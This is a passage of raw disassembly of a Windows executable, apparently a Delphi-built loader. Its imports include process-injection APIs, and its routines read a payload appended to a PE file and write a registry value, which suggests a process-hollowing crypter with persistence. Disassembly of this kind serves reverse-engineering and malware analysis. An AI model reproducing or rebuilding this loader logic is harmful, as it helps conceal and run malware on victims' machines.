		jz	short loc_402769
		mov	edx, [ebp+var_14]
		imul	edx, [ebp+var_18]
		mov	eax, ebx
		add	eax, 8
		xor	ecx, ecx
		call	sub_4018A8
		mov	eax, [ebp+var_14]
		push	eax
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	eax, ebx
		add	eax, 8
		mov	ecx, esi
		call	sub_40263C
		jmp	short loc_40277F
; ---------------------------------------------------------------------------


loc_402769:				; CODE XREF: sub_40265C+E1j
		mov	ecx, [ebp+var_14]
		imul	ecx, [ebp+var_18]
		mov	edx, ebx
		add	edx, 8
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		call	sub_401264


loc_40277F:				; CODE XREF: sub_40265C+C3j
					; sub_40265C+10Bj
		mov	dword ptr [ebx], 1
		add	ebx, 4
		mov	[ebx], edi
		add	ebx, 4
		mov	edx, edi
		sub	edx, [ebp+var_10]
		imul	edx, [ebp+var_18]
		mov	eax, [ebp+var_18]
		imul	eax, [ebp+var_10]
		add	eax, ebx
		xor	ecx, ecx
		call	sub_4018A8
		cmp	[ebp+var_8], 1
		jle	short loc_4027DA
		add	[ebp+arg_0], 4
		dec	[ebp+var_8]
		dec	edi
		test	edi, edi
		jl	short loc_4027DA
		inc	edi
		mov	[ebp+var_C], 0


loc_4027C0:				; CODE XREF: sub_40265C+17Cj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+var_C]
		lea	eax, [ebx+eax*4]
		mov	ecx, [ebp+var_8]
		mov	edx, esi
		call	sub_40265C
		inc	[ebp+var_C]
		dec	edi
		jnz	short loc_4027C0


loc_4027DA:				; CODE XREF: sub_40265C+14Ej
					; sub_40265C+15Aj
		mov	eax, [ebp+var_4]
		mov	[eax], ebx


loc_4027DF:				; CODE XREF: sub_40265C+34j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40265C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4027E8	proc near		; CODE XREF: sub_403168+81p
					; sub_403168+132p

var_4		= dword	ptr -4

		push	esp
		add	[esp+4+var_4], 4
		call	sub_40265C
		retn
sub_4027E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4027F4	proc near		; CODE XREF: sub_402260+D2p
					; sub_402654p ...
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short locret_40282C
		mov	dword ptr [eax], 0
		dec	dword ptr [ecx-8]
		jnz	short locret_40282C
		push	eax
		mov	eax, ecx
		xor	ecx, ecx
		mov	cl, [edx+1]
		mov	edx, [ecx+edx+6]
		test	edx, edx
		jz	short loc_402823
		mov	ecx, [eax-4]
		test	ecx, ecx
		jz	short loc_402823
		mov	edx, [edx]
		call	sub_402260


loc_402823:				; CODE XREF: sub_4027F4+1Fj
					; sub_4027F4+26j
		sub	eax, 8
		call	sub_40115C
		pop	eax

locret_40282C:				; CODE XREF: sub_4027F4+4j
					; sub_4027F4+Fj
		retn
sub_4027F4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402830	proc near		; CODE XREF: sub_402350+EFp
					; sub_40246C+DDp
		push	ebx
		mov	ebx, [eax]
		test	edx, edx
		jz	short loc_40283A
		inc	dword ptr [edx-8]


loc_40283A:				; CODE XREF: sub_402830+5j
		test	ebx, ebx
		jz	short loc_402851
		dec	dword ptr [ebx-8]
		jnz	short loc_402851
		push	eax
		push	edx
		mov	edx, ecx
		inc	dword ptr [ebx-8]
		call	sub_4027F4
		pop	edx
		pop	eax


loc_402851:				; CODE XREF: sub_402830+Cj
					; sub_402830+11j
		mov	[eax], edx
		pop	ebx
		retn
sub_402830	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402858	proc near		; CODE XREF: sub_4029DC+5p
		mov	edx, ds:dword_405018
		mov	[eax], edx
		mov	ds:dword_405018, eax
		retn
sub_402858	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402868	proc near		; CODE XREF: sub_401CDC+66p
					; DATA XREF: DATA:off_405020o
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ds:dword_40501C
		test	ebx, ebx
		jz	short loc_402882


loc_402876:				; CODE XREF: sub_402868+18j
		mov	eax, [esi+4]
		call	dword ptr [ebx+4]
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_402876


loc_402882:				; CODE XREF: sub_402868+Cj
		pop	esi
		pop	ebx
		retn
sub_402868	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402888	proc near		; CODE XREF: sub_402260+C1p
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_40289C
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		mov	eax, [edx]
		call	dword ptr [eax+8]
		pop	eax

locret_40289C:				; CODE XREF: sub_402888+4j
		retn
sub_402888	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4028A0	proc near		; CODE XREF: sub_402350+DCp
					; sub_40246C+C7p
		test	edx, edx
		jz	short loc_4028BD
		push	edx
		push	eax
		mov	eax, [edx]
		push	edx
		call	dword ptr [eax+4]
		pop	eax
		mov	ecx, [eax]
		pop	dword ptr [eax]
		test	ecx, ecx
		jnz	short loc_4028B6
		retn
; ---------------------------------------------------------------------------


loc_4028B6:				; CODE XREF: sub_4028A0+13j
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]
		retn
; ---------------------------------------------------------------------------


loc_4028BD:				; CODE XREF: sub_4028A0+2j
		mov	ecx, [eax]
		test	ecx, ecx
		mov	[eax], edx
		jz	short locret_4028CB
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]

locret_4028CB:				; CODE XREF: sub_4028A0+23j
		retn
sub_4028A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4028CC	proc near		; DATA XREF: CODE:00403F78o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_402908
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4063BC
		jnz	short loc_4028FA
		cmp	ds:dword_4063F0, 0
		jz	short loc_4028F4
		call	ds:dword_4063F0


loc_4028F4:				; CODE XREF: sub_4028CC+20j
		call	ds:off_405038


loc_4028FA:				; CODE XREF: sub_4028CC+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40290F


loc_402907:				; CODE XREF: sub_4028CC+41j
		retn
; ---------------------------------------------------------------------------


loc_402908:				; DATA XREF: sub_4028CC+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402907
; ---------------------------------------------------------------------------


loc_40290F:				; CODE XREF: sub_4028CC:loc_402907j
					; DATA XREF: sub_4028CC+36o
		pop	ebp
		retn
sub_4028CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402914	proc near		; DATA XREF: CODE:00403F74o
		sub	ds:dword_4063BC, 1
		jnb	short locret_402940
		call	GetProcessHeap
		mov	ds:hHeap, eax
		mov	ds:dword_406000, offset	sub_4025B8
		call	sub_402580
		call	GetCurrentThreadId
		mov	ds:dword_406018, eax

locret_402940:				; CODE XREF: sub_402914+7j
		retn
sub_402914	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402944	proc near		; CODE XREF: sub_402958+21p
		push	eax		; uBytes
		push	40h		; uFlags
		call	LocalAlloc
		retn
sub_402944	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402950	proc near		; CODE XREF: sub_402958+1p
		mov	eax, 4
		retn
sub_402950	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402958	proc near		; CODE XREF: sub_40299C:loc_4029B6p
		push	ebx
		call	sub_402950
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40299A
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_402977
		mov	eax, 0E2h
		call	sub_401DB8
; ---------------------------------------------------------------------------


loc_402977:				; CODE XREF: sub_402958+13j
		mov	eax, ebx
		call	sub_402944
		test	eax, eax
		jnz	short loc_40298E
		mov	eax, 0E2h
		call	sub_401DB8
; ---------------------------------------------------------------------------
		jmp	short loc_40299A
; ---------------------------------------------------------------------------


loc_40298E:				; CODE XREF: sub_402958+28j
		push	eax		; lpTlsValue
		mov	eax, ds:TlsIndex
		push	eax		; dwTlsIndex
		call	TlsSetValue


loc_40299A:				; CODE XREF: sub_402958+Aj
					; sub_402958+34j
		pop	ebx
		retn
sub_402958	endp


; =============== S U B	R O U T	I N E =======================================



sub_40299C	proc near		; CODE XREF: sub_4011D0+20p
					; sub_401228+3p ...
		mov	cl, ds:byte_4064A0
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_4029D1
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_4029B6:				; CODE XREF: sub_40299C+3Dj
		call	sub_402958
		mov	eax, ds:TlsIndex
		push	eax		; dwTlsIndex
		call	TlsGetValue
		test	eax, eax
		jz	short loc_4029CB
		retn
; ---------------------------------------------------------------------------


loc_4029CB:				; CODE XREF: sub_40299C+2Cj
		mov	eax, ds:dword_4064B4
		retn
; ---------------------------------------------------------------------------


loc_4029D1:				; CODE XREF: sub_40299C+Dj
		push	eax		; dwTlsIndex
		call	TlsGetValue
		test	eax, eax
		jz	short loc_4029B6
		retn
sub_40299C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4029DC	proc near		; CODE XREF: sub_4029E8+2Ep
		mov	eax, offset dword_40508C
		call	sub_402858
		retn
sub_4029DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4029E8	proc near		; CODE XREF: CODE:00403FE3p
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0		; lpModuleName
		call	GetModuleHandleA
		mov	ds:hModule, eax
		mov	eax, ds:hModule
		mov	ds:dword_405090, eax
		xor	eax, eax
		mov	ds:dword_405094, eax
		xor	eax, eax
		mov	ds:dword_405098, eax
		call	sub_4029DC
		mov	edx, offset dword_40508C
		mov	eax, ebx
		call	sub_401C70
		pop	ebx
		retn
sub_4029E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A2C	proc near		; DATA XREF: CODE:00403F70o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_402A51
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064B0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402A58


loc_402A50:				; CODE XREF: sub_402A2C+2Aj
		retn
; ---------------------------------------------------------------------------


loc_402A51:				; DATA XREF: sub_402A2C+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402A50
; ---------------------------------------------------------------------------


loc_402A58:				; CODE XREF: sub_402A2C:loc_402A50j
					; DATA XREF: sub_402A2C+1Fo
		pop	ebp
		retn
sub_402A2C	endp

; ---------------------------------------------------------------------------
		align 4


loc_402A5C:				; DATA XREF: CODE:off_403F6Co
		sub	ds:dword_4064B0, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A64	proc near		; DATA XREF: CODE:00403F80o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_402A89
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064B8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402A90


loc_402A88:				; CODE XREF: sub_402A64+2Aj
		retn
; ---------------------------------------------------------------------------


loc_402A89:				; DATA XREF: sub_402A64+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402A88
; ---------------------------------------------------------------------------


loc_402A90:				; CODE XREF: sub_402A64:loc_402A88j
					; DATA XREF: sub_402A64+1Fo
		pop	ebp
		retn
sub_402A64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402A94	proc near		; DATA XREF: CODE:00403F7Co
		sub	ds:dword_4064B8, 1
		retn
sub_402A94	endp

; [00000006 BYTES: COLLAPSED FUNCTION RegCloseKey. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION RegOpenKeyA. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION RegSetValueExA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CloseHandle_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CopyFileA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CreateFileA_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CreateProcessA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION DeleteFileA. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION FindResourceA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION FreeResource. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetEnvironmentVariableA. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetFileAttributesA. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetFileSize_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA_0. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetThreadContext.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LoadResource. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LockResource. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION ReadFile_0. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION ReadProcessMemory. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION ResumeThread. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SetFilePointer_0.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SetLastError. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SetThreadContext.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SizeofResource. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION Sleep. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION TerminateProcess.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION WriteProcessMemory. PRESS	KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402B84	proc near		; CODE XREF: sub_403168+6Cp
					; CODE:00404047p
		xor	ecx, ecx
		call	sub_4018A8
		retn
sub_402B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B8C	proc near		; DATA XREF: CODE:00403F88o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_402BB1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064BC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402BB8


loc_402BB0:				; CODE XREF: sub_402B8C+2Aj
		retn
; ---------------------------------------------------------------------------


loc_402BB1:				; DATA XREF: sub_402B8C+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402BB0
; ---------------------------------------------------------------------------


loc_402BB8:				; CODE XREF: sub_402B8C:loc_402BB0j
					; DATA XREF: sub_402B8C+1Fo
		pop	ebp
		retn
sub_402B8C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402BBC	proc near		; DATA XREF: CODE:00403F84o
		sub	ds:dword_4064BC, 1
		retn
sub_402BBC	endp

; [00000006 BYTES: COLLAPSED FUNCTION FindExecutableA. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION ShellExecuteA. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402BD4	proc near		; DATA XREF: CODE:00403F90o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_402BF9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064C0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402C00


loc_402BF8:				; CODE XREF: sub_402BD4+2Aj
		retn
; ---------------------------------------------------------------------------


loc_402BF9:				; DATA XREF: sub_402BD4+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402BF8
; ---------------------------------------------------------------------------


loc_402C00:				; CODE XREF: sub_402BD4:loc_402BF8j
					; DATA XREF: sub_402BD4+1Fo
		pop	ebp
		retn
sub_402BD4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402C04	proc near		; DATA XREF: CODE:00403F8Co
		sub	ds:dword_4064C0, 1
		retn
sub_402C04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C0C	proc near		; CODE XREF: CODE:0040477Bp
					; CODE:00404799p ...

hKey		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00401B94 SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		mov	eax, [ebp+var_8]
		call	sub_402048
		mov	eax, [ebp+arg_0]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_402CAA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		mov	eax, [ebp+var_4]
		call	sub_402058
		push	eax		; lpSubKey
		push	ebx		; hKey
		call	RegOpenKeyA
		mov	eax, [ebp+arg_0]
		call	sub_401F04
		mov	ebx, eax
		push	ebx		; cbData
		lea	eax, [ebp+arg_0]
		call	sub_4020AC
		push	eax		; lpData
		push	1		; dwType
		push	0		; Reserved
		mov	eax, [ebp+var_8]
		call	sub_402058
		push	eax		; lpValueName
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	RegSetValueExA
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	RegCloseKey
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402CB1


loc_402C94:				; CODE XREF: sub_402C0C+A3j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_401DE8
		lea	eax, [ebp+arg_0]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_402CAA:				; DATA XREF: sub_402C0C+2Ao
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402C94
; ---------------------------------------------------------------------------


loc_402CB1:				; CODE XREF: sub_402C0C+9Dj
					; DATA XREF: sub_402C0C+83o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_402C0C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402CB8	proc near		; CODE XREF: CODE:0040445Ep
					; CODE:004046BCp
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_402058
		push	eax		; lpFileName
		call	GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402CD1
		test	al, 10h
		jnz	short loc_402CD5


loc_402CD1:				; CODE XREF: sub_402CB8+13j
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_402CD5:				; CODE XREF: sub_402CB8+17j
		mov	al, 1
		pop	ebx
		retn
sub_402CB8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402CDC	proc near		; CODE XREF: CODE:004042B2p

var_15C		= byte ptr -15Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEA4h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_8], ecx
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_402E29
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_401DC4
		mov	eax, ds:off_4050C4
		mov	byte ptr [eax],	0
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_15C]
		call	sub_4016A4
		mov	edx, 1
		lea	eax, [ebp+var_15C]
		call	sub_4019EC
		call	sub_401228
		lea	eax, [ebp+var_15C]
		call	sub_40185C
		call	sub_401228
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 400h
		jle	short loc_402DCA


loc_402D56:				; CODE XREF: sub_402CDC+ECj
		lea	eax, [ebp+var_8]
		mov	edx, 400h
		call	sub_402184
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		call	sub_4020AC
		mov	edx, eax
		mov	ecx, 400h
		lea	eax, [ebp+var_15C]
		call	sub_4017A8
		call	sub_401228
		mov	eax, esi
		mov	edx, [ebp+var_8]
		call	sub_401F0C
		mov	eax, [ebp+var_10]
		sub	[ebp+var_C], eax
		lea	eax, [ebp+var_15C]
		call	sub_40185C
		call	sub_401228
		mov	ecx, 64h
		cdq
		idiv	ecx
		mov	edi, eax
		xor	ebx, ebx
		jmp	short loc_402DB6
; ---------------------------------------------------------------------------


loc_402DB4:				; CODE XREF: sub_402CDC+E3j
		add	ebx, edi


loc_402DB6:				; CODE XREF: sub_402CDC+D6j
		mov	eax, [esi]
		call	sub_401F04
		cmp	ebx, eax
		jl	short loc_402DB4
		cmp	[ebp+var_C], 400h
		jg	short loc_402D56


loc_402DCA:				; CODE XREF: sub_402CDC+78j
		lea	eax, [ebp+var_8]
		mov	edx, [ebp+var_C]
		call	sub_402184
		push	0
		lea	eax, [ebp+var_8]
		call	sub_4020AC
		mov	edx, eax
		mov	ecx, [ebp+var_C]
		lea	eax, [ebp+var_15C]
		call	sub_4017A8
		call	sub_401228
		mov	eax, esi
		mov	edx, [ebp+var_8]
		call	sub_401F0C
		lea	eax, [ebp+var_15C]
		call	sub_4017E8
		call	sub_401228
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402E30


loc_402E1B:				; CODE XREF: sub_402CDC+152j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_401DE8
		retn
; ---------------------------------------------------------------------------


loc_402E29:				; DATA XREF: sub_402CDC+21o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402E1B
; ---------------------------------------------------------------------------


loc_402E30:				; CODE XREF: sub_402CDC+14Cj
					; DATA XREF: sub_402CDC+13Ao
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402CDC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E38	proc near		; CODE XREF: CODE:004040A8p
					; CODE:004041DDp ...

var_174		= byte ptr -174h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_14C		= byte ptr -14Ch
var_146		= word ptr -146h
Buffer		= byte ptr -54h
lDistanceToMove	= dword	ptr -18h
var_14		= dword	ptr -14h
NumberOfBytesRead= dword ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE8Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_402FA2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	80000000h	; dwDesiredAccess
		mov	eax, [ebp+var_4]
		call	sub_402058
		push	eax		; lpFileName
		call	CreateFileA_0
		mov	esi, eax
		push	0		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		push	0		; lDistanceToMove
		push	esi		; hFile
		call	SetFilePointer_0
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	40h		; nNumberOfBytesToRead
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	esi		; hFile
		call	ReadFile_0
		cmp	[ebp+NumberOfBytesRead], 40h
		jnz	loc_402F86
		push	0		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		mov	eax, [ebp+lDistanceToMove]
		push	eax		; lDistanceToMove
		push	esi		; hFile
		call	SetFilePointer_0
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	0F8h		; nNumberOfBytesToRead
		lea	eax, [ebp+var_14C]
		push	eax		; lpBuffer
		push	esi		; hFile
		call	ReadFile_0
		cmp	[ebp+NumberOfBytesRead], 0F8h
		jnz	loc_402F7E
		push	1		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		movzx	eax, [ebp+var_146]
		dec	eax
		shl	eax, 3
		lea	eax, [eax+eax*4]
		push	eax		; lDistanceToMove
		push	esi		; hFile
		call	SetFilePointer_0
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	28h		; nNumberOfBytesToRead
		lea	eax, [ebp+var_174]
		push	eax		; lpBuffer
		push	esi		; hFile
		call	ReadFile_0
		mov	eax, [ebp+var_160]
		add	eax, [ebp+var_164]
		mov	[ebp+var_14], eax
		push	0		; lpFileSizeHigh
		push	esi		; hFile
		call	GetFileSize_0
		mov	edi, eax
		sub	edi, [ebp+var_14]
		test	edi, edi
		jbe	short loc_402F76
		push	0		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		mov	eax, [ebp+var_14]
		push	eax		; lDistanceToMove
		push	esi		; hFile
		call	SetFilePointer_0
		mov	eax, edi
		call	sub_401144
		mov	edx, [ebp+var_8]
		mov	[edx], eax
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	edi		; nNumberOfBytesToRead
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		push	eax		; lpBuffer
		push	esi		; hFile
		call	ReadFile_0
		cmp	edi, [ebp+NumberOfBytesRead]
		jnz	short loc_402F6E
		mov	bl, 1
		mov	eax, [ebp+var_C]
		mov	[eax], edi
		push	esi		; hObject
		call	CloseHandle_0
		jmp	short loc_402F8C
; ---------------------------------------------------------------------------


loc_402F6E:				; CODE XREF: sub_402E38+125j
		push	esi		; hObject
		call	CloseHandle_0
		jmp	short loc_402F8C
; ---------------------------------------------------------------------------


loc_402F76:				; CODE XREF: sub_402E38+F3j
		push	esi		; hObject
		call	CloseHandle_0
		jmp	short loc_402F8C
; ---------------------------------------------------------------------------


loc_402F7E:				; CODE XREF: sub_402E38+A1j
		push	esi		; hObject
		call	CloseHandle_0
		jmp	short loc_402F8C
; ---------------------------------------------------------------------------


loc_402F86:				; CODE XREF: sub_402E38+6Ej
		push	esi		; hObject
		call	CloseHandle_0


loc_402F8C:				; CODE XREF: sub_402E38+134j
					; sub_402E38+13Cj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402FA9


loc_402F99:				; CODE XREF: sub_402E38+16Fj
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_402FA2:				; DATA XREF: sub_402E38+20o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402F99
; ---------------------------------------------------------------------------


loc_402FA9:				; CODE XREF: sub_402E38+169j
